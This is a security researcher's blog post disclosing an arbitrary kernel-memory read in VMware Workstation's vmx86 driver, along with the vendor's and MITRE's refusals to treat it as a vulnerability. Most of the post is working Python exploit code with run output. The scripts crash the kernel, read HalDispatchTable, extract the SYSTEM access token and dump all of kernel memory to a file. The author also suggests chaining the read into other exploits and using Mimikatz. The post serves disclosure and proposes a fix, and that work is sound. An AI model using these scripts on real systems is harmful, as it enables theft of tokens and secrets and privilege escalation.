KoreLogic Blog
VMware: "It's not a vulnerability, mmkkkayyy" 2014-11-18 16:15

During a recent review of the VMWare Workstation application, I discovered a method that allows any member of the __vmware__ group to extract arbitrary sections of kernel memory. When you consider the fact that members of this group are not required to already have administrative privileges, this suddenly becomes a significant vulnerability in the sense that it implies that otherwise unprivileged users now have the means to extract and subsequently use/abuse sensitive data like process-level tokens, encryption keys, etc. Needless to say, this poses a significant security risk to any organization that allows unprivileged users to operate virtual machines by way of the __vmware__ group.

To date, VMWare has declined to mitigate this vulnerability despite the detailed evidence we have provided and our repeated attempts to convince them that there is an underlying design flaw here that needs to be addressed. Also note that this vulnerability, officially documented here, has not been assigned a CVE identifier because MITRE declined to do so.

The VMWare Workstation application uses a driver named vmx86.sys that supports various operations relating to guest operating system emulation and interaction. Our research has uncovered this vulnerability in Microsoft Windows XP Service Pack 3 and Windows 7 (x86). It is likely that Windows Server 2003 is impacted as well; other VMWare software such as Player may also be impacted.

In order to execute the IOCTL within the affected driver, the user must belong to the __vmware__ group. According to VMWare an unprivileged user does not have to belong to this group to run VMs as long as the vmware-authd.exe service is running. I have confirmed this to be the case.

By leveraging this vulnerability, an unprivileged user will be able to extract any memory that resides within the kernel. Kernel memory contains sensitive information relating not just to process privilege level, but many other security aspects of the operating system as well.

VMWare has indicated that they do not consider this an actionable security issue. However, as this vulnerability is trivially exploited, they agreed consumers should be advised to not assign untrusted users to the __vmware__ group. Consequently, VMWare has since published Knowledge Base article 2089333, which "describes the use case and security considerations" of the __vmware__ group.

However, there's more to it than that. I have confirmed that the access afforded by the __vmware__ group is greater than that a typical administrator would enjoy. In fact, the access is effectively equivalent to that of the SYSTEM user. I go into more detail about this later in the blog, but first, let me show you how the issue can be triggered.

The code shown below triggers the issue by forcing a memory read at a blatantly invalid address (0xffff0000).

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
	print "[!] Could not open handle, is user part of the __vmware__ group?"
	exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40)
buf = pack('<L',0xcccccccc)*100
WriteProcessMemory(-1,0x100,buf,len(buf),byref(c_int(0)))
inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141)
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x75,0xff)
if (GetLastError() != 0):
	print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
	exit(1)
CloseHandle(handle)

Upon review of the crash dump output produced by executing the code above, it's evident that 0xffff0000 has been referenced and subsequently moved into the attacker-controlled ESI register.

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ffff0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 00000000, (reserved)

....

eax=ffff00ff ebx=872b20f0 ecx=0000003f edx=00000003 esi=ffff0000 edi=87ec7740
eip=82c517f3 esp=9b3b7a54 ebp=9b3b7a5c iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
nt!memcpy+0x33:
82c517f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

LAST_CONTROL_TRANSFER:  from 82c593d8 to 82ca641b

STACK_TEXT:
9b3b79c8 82c593d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106
9b3b79c8 82c517f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc
9b3b7a5c 977c7bd6 87ec7740 ffff0000 000000ff nt!memcpy+0x33
WARNING: Stack unwind information not available. Following frames may be wrong.
9b3b7ad0 977c829a 87ec7740 00000008 87ec7740 vmx86+0xbd6
9b3b7afc 82c4f593 872b2d70 872b20d8 872b20d8 vmx86+0x129a
9b3b7b14 82e4399f 85a82140 872b20d8 872b2148 nt!IofCallDriver+0x63
9b3b7b34 82e46b71 872b2d70 85a82140 00000000 nt!IopSynchronousServiceTail+0x1f8
9b3b7bd0 82e8d3f4 872b2d70 872b20d8 00000000 nt!IopXxxControlFile+0x6aa
9b3b7c04 82c561ea 00000078 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
9b3b7c04 777570b4 00000078 00000000 00000000 nt!KiFastCallEntry+0x12a
0021fa5c 00000000 00000000 00000000 00000000 0x777570b4

From here, I concluded that I could read any arbitrary section of memory. The code shown below demonstrates one technique for doing just that.

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
	retArray = c_ulong*1024
	ImageBase = retArray()
	callback = c_int(1024)
	cbNeeded = c_long()
	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
	for base in ImageBase:
		driverName = c_char_p("\x00"*1024)
		GetDeviceDriverBaseNameA(base,driverName,48)
		if (name):
			if (driverName.value.lower() == name):
				return base
		else:
			return (base,driverName.value)
	return None

handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
	print "[!] Could not open handle, is user part of the __vmware__ group?"
	exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
inputBuffer = pack('<L',HalDispatchTable) + "\x41"*4
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x4)
if (GetLastError() != 0):
	print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
	exit(1)
data = create_string_buffer(0x4)
if (ReadProcessMemory(-1,0x25,byref(data),0x4,byref(c_ulong(0))) == 1):
	kValue = ""
	for i in findall('..',hexlify(data)[::-1]):
        	kValue+=i[::-1]
	print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue)
else:
	print "[!] could not read output memory."
CloseHandle(handle)

Reviewing the output produced by executing the above code will illustrate how an attacker can read arbitrary sections of memory from the kernel.

eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340
eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
778570b4 c3              ret
0:000> db 0x25 L?0x4
00000025  a2 68 04 83

[+] Handle \\.\vmx86 @ 120
[+] HalDispatchTable+0x4(0x82d383fc) == 830468a2

Another example would be to extract the SYSTEM Access Token from PID four (4):

lkd> !process 0 1
**** NT ACTIVE PROCESS DUMP ****
PROCESS 853ca020  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 8a401b28  HandleCount: 983.
    Image: System
    ...
lkd> !exts.token -n 8a401270
_TOKEN 8a401270
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
...
lkd> db 0x8a401270 L?0x1dc
8a401270  2a 53 59 53 54 45 4d 2a-00 00 00 00 00 00 00 00  *SYSTEM*........
8a401280  ea 03 00 00 00 00 00 00-e7 03 00 00 00 00 00 00  ................
8a401290  00 00 00 00 00 00 00 00-90 eb 4c b6 26 75 20 06  ..........L.&u .
8a4012a0  00 df 34 85 eb 03 00 00-00 00 00 00 00 00 00 00  ..4.............
8a4012b0  bc ff ff f2 0f 00 00 00-90 e8 b1 60 0e 00 00 00  ...........`....
8a4012c0  90 e8 b1 60 0e 00 00 00-00 00 00 00 00 00 00 00  ...`............
8a4012d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4012e0  00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
8a4012f0  70 00 00 00 00 04 00 00-00 00 00 00 01 00 00 00  p...............
8a401300  4c 14 40 8a 00 00 00 00-08 12 40 8a 08 12 40 8a  L.@.......@...@.
8a401310  14 12 40 8a 01 00 00 00-00 00 00 00 00 20 00 00  ..@.......... ..
8a401320  01 00 00 00 04 00 00 00-01 00 00 00 f8 15 40 8a  ..............@.
8a401330  00 00 00 00 00 00 00 00-05 00 00 00 4c 14 40 8a  ............L.@.
8a401340  16 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00  ................
8a401350  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401360  00 00 00 00 00 00 00 00-00 00 00 00 08 00 00 00  ................
8a401370  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401380  1c 00 00 00 01 00 00 00-02 00 00 00 00 00 00 00  ................
8a401390  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401400  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401410  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401420  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401430  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401440  00 00 00 00 00 00 00 00-20 15 40 8a              ........ .@.	
C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-vmware-token-theft-poc1.py
[+] Handle \\.\vmx86 @ 120
2a 53 59 53 54 45 4d 2a 00 00 00 00 00 00 00 00 ea 03 00 00 00 00 00 00 e7 03 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 90 eb 4c b6 26 75 20 06 00 df 34 85 eb 0
3 00 00 00 00 00 00 00 00 00 00 bc ff ff f2 0f 00 00 00 90 e8 b1 60 0e 00 00 00
90 e8 b1 60 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 70 00 00 00 00 0
4 00 00 00 00 00 00 01 00 00 00 4c 14 40 8a 00 00 00 00 08 12 40 8a 08 12 40 8a
14 12 40 8a 01 00 00 00 00 00 00 00 00 20 00 00 01 00 00 00 04 00 00 00 01 00 00
 00 f8 15 40 8a 00 00 00 00 00 00 00 00 05 00 00 00 4c 14 40 8a 16 00 00 00 00 0
0 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 1c 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 40 8a
[*] caught system token

To obtain your current token, modify the address passed to pack() in the code shown below. If you enable /DEBUG, attach Windbg to the kernel and use !process 0 1 followed by !exts.token -n , you can verify that the code functions as shown above.

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
	print "[!] Could not open handle, is user part of the __vmware__ group?"
	exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
inputBuffer = pack('<L',0x8a401270)+"\x41"*4
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x1dc)
if (GetLastError() != 0):
	print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
	exit(1)
data = create_string_buffer(0x1dc)
if (ReadProcessMemory(-1,0x25,byref(data),0x1dc,byref(c_ulong(0))) == 1):
	kValue = ""
	for i in findall('..',hexlify(data)[::]):
        	kValue+=i[::]
        	kValue+=" "
	print "%s" % (kValue)
	if ("2a 53 59 53 54 45 4d 2a" in kValue):
                print "[*] caught system token"
else:
	print "[!] could not read output memory."
CloseHandle(handle)

This technique can be modified slightly to extract large sections of kernel memory as an unprivileged user.

from ctypes import *
from struct import pack
from sys import exit
from binascii import hexlify
from re import findall
from time import sleep
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
	retArray = c_ulong*1024
	ImageBase = retArray()
	callback = c_int(1024)
	cbNeeded = c_long()
	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
	for base in ImageBase:
		driverName = c_char_p("\x00"*1024)
		GetDeviceDriverBaseNameA(base,driverName,48)
		if (name):
			if (driverName.value.lower() == name):
				return base
		else:
			return (base,driverName.value)
	return None

kBase,kVer = getBase()
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
kernelMem,address = "",kBase
print "total size %s in %s calls" % (0xffffffff-kBase,(0xffffffff-kBase)/0xffff)
while True:
	handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
	if (handle == -1):
		print "[!] Could not open handle, is user part of the __vmware__ group?"
		exit(1)
	if (address == 0xffffffff):
		break
	else:
		inputBuffer = pack('<L',address) + "\x41"*4
		DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0xffff)
		if (GetLastError() != 0):
			print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
			exit(1)
		data = create_string_buffer(0xffff)
		if (ReadProcessMemory(-1,0x25,byref(data),0xffff,byref(c_ulong(0))) == 1):
			kValue = ""
			for i in findall('..',hexlify(data)[::-1]):
					try:
						kValue+=pack('B',int(i,16))
					except:
						print "[!] could not pack() byte, skipping to the next byte"
			print "dumping 0xffff at %s, size so far %s" % (hex(address)[:-1],len(kernelMem))
			kernelMem+=kValue
			fp = open("kernel.out","a+")
			fp.write(kernelMem)
			fp.close()
		address+=0xffff
	CloseHandle(handle)
	sleep(0.1)
print len(kernelMem)

The technique illustrated above will write the kernel contents to a file named 'kernel.out' in the local directory with one caveat: I have yet to figure out a reliable way to validate the kernel-land address from user-land. This is something I shouldn't be able to do as an unprivileged user. As a result, a typical Windows BSOD will occur once an unallocated address is referenced. You can adjust the input address to something more interesting if you care to.

<removed>:<removed> <removed>$ hexdump -C kernel.out|more
00000000  66 1d b8 03 1c 38 ff ff  ef 59 28 f0 2c b3 66 a0  |f....8...Y(.,.f.|
00000010  2c 38 b2 27 2c b3 66 1d  b8 00 00 71 0e 9b ff ff  |,8.',.f....q....|
00000020  ef da 28 f0 2c b3 66 a0  2c 38 34 27 2c b3 66 1d  |..(.,.f.,84',.f.|
00000030  b8 00 00 01 04 9b ff ff  ef 5c 28 f0 2c b3 66 00  |.........\(.,.f.|
00000040  00 f0 a2 ab d5 27 2c b3  66 1d b8 05 1c 38 ff ff  |.....',.f....8..|

Interestingly enough, VMWare makes a comparison between __vmware__ and the Power Users/Administrator groups within Windows. I was particularly curious about this "The _vmware_ group is similar in concept to the Windows 2000/XP built-in Power Users group." and "Users in the _vmware_ group effectively have administrative privileges." My experience had taught me that neither a Power User or even Administrator could directly call memcpy() with a kernel address and get anything except a ERROR_NOACCESS. However, I decided to give them the benefit of the doubt and write some code to test the theory.

To do that, I simply modified the code shown above to calculate the address of the first entry in the HalDispatchTable and subsequently read that four-byte value using memcpy().

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
memcpy = windll.msvcrt.memcpy
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

def getBase(name=None):
	retArray = c_ulong*1024
	ImageBase = retArray()
	callback = c_int(1024)
	cbNeeded = c_long()
	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
	for base in ImageBase:
		driverName = c_char_p("\x00"*1024)
		GetDeviceDriverBaseNameA(base,driverName,48)
		if (name):
			if (driverName.value.lower() == name):
				return base
		else:
			return (base,driverName.value)
	return None

NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
try:
	memcpy(0x10,HalDispatchTable ,0x4)
except WindowsError as e:
	print "[!] caught error: %s" % (e)
if (ReadProcessMemory(-1,HalDispatchTable,0x10,0x4,byref(c_ulong(0))) == 1):
	kValue = ""
	for i in findall('..',hexlify(data)[::-1]):
        	kValue+=i[::-1]
	print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue)
else:
	print "[!] could not read output memory.\nGetLastError() == %s" % (hex(GetLastError()))

And then, I ran it. The output produced by executing the above code was as follows:

C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-powerUser-kernelRead-testcase1.py
[!] caught error: exception: access violation reading 0x82D393FC
[!] could not read output memory.
GetLastError() == 0x3e6

As expected, an error, ERROR_NOACCESS (i.e., 0x3e6), occurred. I subsequently ran this code from the context of a Power User as well as an Administrator, and in both cases, the results were identical -- access denied. In other words, the tests confirmed that neither context, in its normal/default state, is sufficient to achieve the same level of access as was achieved by a user in the __vmware__ group.

It is my understanding that an Administrator can only read kernel memory if the boot manager has /DEBUG ON and only through WinDbg/KD or equivalent APIs.

The API function memcpy() fails because it can only access memory addresses within the process executing the call. If this call is happening from kernel-mode, then the API call should function as suggested. This is not the case from user-land when providing the call a kernel-land memory address, regardless of whether the user is an Administrator or not.

Therefore, not only does this vulnerability reside in the kernel, but the evidence collected also fails to support VMWare's points of comparison. It can be concluded that the evidence better supports that the points of comparison are between __vmware__ and SYSTEM. To that end, it isn't sound security practice to provide Administrators with a mechanism to issue what is essentially a SYSTEM privilege, one which cannot easily be executed by even the Administrator, to a user with otherwise limited privileges.

Now, we know that there are ways that Power Users and Administrators can obtain SYSTEM privileges, but those ways typically involve clearing some additional hurdles. With this particular vulnerability, it's as though all hurdles have been set aside.

So, what can someone do for fun with this vulnerability? There are two cases I have thought of where this can be applied relatively easily to achieve some interesting results:

  1. In my last post, I talked about a classic class of vulnerability known as write-what-where. While working on validating the shellcode used in that post, I had to use WinDbg to read nt!_token and a few other things from the kernel. An arbitrary read such as the one I have touched on in this blog post would allow an attacker to develop robust exploits that may leverage more than one vulnerability to accomplish their overall goal.
  2. Read about the Microsoft .DMP file format and craft some code to create files that can load into WinDbg. Interesting plug-ins for Windbg exist, such as Mimikatz.

While I can envision several methods for solving this vulnerability, one in particular is rather simple. The goal is to prevent an unprivileged user from being able to control the kernel memory address to be read. A FIFO queue could solve the issue by leveraging one IOCTL which will allocate and populate the required memory within the kernel, and add a pointer for that memory to the queue. A second IOCTL could then be used to provide the user with the memory from the address within the queue. This would remove the need for the unprivileged user to control the kernel memory address to be read, and thus, fix the vulnerability.

During the interaction our program manager had with VMWare, they provided a final response regarding the vulnerability; quoted with identifying information redacted:

Hi [KoreLogic],

We have re-reviewed your report and we believe that this is not a
vulnerability for the following reasons:

1) Users must be manually added to the privileged group _vmware_
2) Default configuration of the product does not add users to this group
3) The permissions granted by this group are what is required for the
product to function if authd service is not running.

However, we do feel that the omission of the _vmware_ group in our
documentation is a problem. We have written a VMware Knowledge Base
article documenting the group, its effective permissions, and usage here:

http://kb.vmware.com/kb/2089333

We would like to acknowledge your assistance with the issue and add
following statement to the Knowledge Base article:

VMware would like to thank  from Korelogic, Inc. for working with
us on documenting this issue.

Please let us know which name to use in above acknowledgement.

If you are planning on announcing the findings of your team, we would
highly appreciate it you could refer to our Knowledge Base article.

Thank you again for the report.
----

I personally derived one thing from this response. It's apparently considered a feature and not a vulnerability. I guess we're free to enjoy this newly documented 'feature' in VMWare Workstation! :)

All joking aside, I am slightly confused as to why VMWare has declined to patch this obvious issue. I do not maintain that this vulnerability is the worst out there right now (it isn't), but at the very least, I think it requires the vendor to take responsibility by creating an appropriate patch. I welcome a continued conversation with VMWare about this vulnerability and the concepts I think can help prevent exploitation from occurring.

When KoreLogic requested a CVE identifier for this vulnerability, MITRE indicated that none would be assigned.

Subject: Re: CVE-ID Request
Date: Wed, 22 Oct 2014 19:04:12 -0400 (EDT)
From: cve-assign@mitre.org
To: disclosures@korelogic.com
CC: cve-assign@mitre.org

> The vendor's viewpoint is that it is not a vulnerability and therefore
> no patch is needed.
>
> The type of attacker in this case is an unprivileged local user with
> membership in the __vmware__ group.

>> A vulnerability within the vmx86 driver allows an attacker to specify a
>> memory address within the kernel and have the memory stored at that
>> address be returned to the attacker. Thus, this is an arbitrary read due
>> to improper input validation (CWE-20).

There is no CVE ID assignment for this. From our perspective, the vendor
is entitled to define a security policy in which this read access is
considered an acceptable risk, given __vmware__ group membership.

If __vmware__ were the equivalent of Power User or even Administrator, I would agree with MITRE. My thought would be that having multiple groups effectively equivalent to each other is bad practice, but I can see not issuing a CVE for THAT. The vulnerability that I discovered, however, is not equivalent to a Power User or even an Administrator. It's a vulnerability that effectively grants SYSTEM access!

In my opinion, any use of the __vmware__ group as currently implemented is a risk, and unless you're comfortable giving away SYSTEM access, you should avoid this group entirely. Furthermore, I assert that this vulnerability clearly violates protection ring design principles. That being said, the fix is also pretty straight-forward: prevent unprivileged users from being able to control the kernel memory address and amount of data to be read.


0 comments Posted by Matt at: 16:15 permalink

Comments are closed for this story.